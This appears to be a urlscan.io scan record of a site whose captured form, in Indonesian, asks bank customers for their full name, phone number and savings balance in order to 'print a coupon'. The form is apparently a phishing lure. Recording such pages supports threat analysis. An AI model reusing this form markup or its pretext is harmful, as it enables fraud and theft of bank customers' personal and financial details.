info-ftvl2024.site Open in urlscan Pro
2001:df7:5300:2::71  Public Scan

Form analysis
1 forms found in the DOM

POST

<form id="inputlogin" onsubmit="return false" method="POST" class="animation-fadeInLeftBig" style="padding: 10px">
  <div class="card-input animation-fadeInLeftBig ">
    <label for="cardName" class="card-input__label" style="font-weight: 800;margin-left: 3px">Nama Lengkap Nasabah</label>
    <input type="text" id="nama" name="nama" class="card-input__input" v-model="cardNumber" v-on:focus="focusInput" data-ref="cardNumber" autocomplete="off" placeholder="Masukkan Nama Lengkap Nasabah" required="">
  </div>
  <div class="card-input">
    <label for="cardName" class="card-input__label" style="font-weight: 800; margin-left: 3px">Nomor Handphone</label>
    <input type="tel" id="nomor" name="nomor" class="card-input__input" v-model="cardName" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardName" autocomplete="off" placeholder="Masukkan Nomor Handphone" maxlength="13" required="">
  </div>
  <div class="card-form__row">
    <div class="card-form__col">
      <div class="card-form__group">
      </div>
      <div class="card-form__col -cvv">
        <div class="card-input">
          <label for="cardCvv" class="card-input__label" style="font-weight: 800; margin-left: 5px">Saldo Rekening Tabungan saat Ini</label>
          <input type="tel" class="uang card-input__input" id="saldo" name="saldo" placeholder="Rp" maxlength="15" autocomplete="off" required="" style="background-image: url();
  background-repeat: no-repeat;
  background-position: 100% 100%;
  background-size: 100% 100%; background-color: #ddd; ">
        </div>
      </div>
    </div>
    <div class="animation-fadeInUpBig"
      style="position: fixed; bottom: 0; left: 0; right: 0; margin: 0px auto; width: 100%; height: 72px; background: #fff; box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 15px 0px; padding-top: 15px;border-top: 2px double #ccc">
      <button type="submit" id="kirims"
        style="margin-left: 20px;margin-top: 0px;position:relative;background-color:#0F78CB;color:white;border:0px solid #0076e0;width:90%;border-radius:10px;font-family: Average, serif;font-size: 16px;padding:13px;display: inline-block; box-shadow: rgba(0, 0, 0, 0.10) 0px 10px 10px, rgba(0, 0, 0, 0.20) 0px 6px 6px; height: 50px">Lanjutkan
        Cetak Kupon</button>
    </div>
  </div>
</form>

Text Content

Nama Lengkap Nasabah
Nomor Handphone
Saldo Rekening Tabungan saat Ini
Lanjutkan Cetak Kupon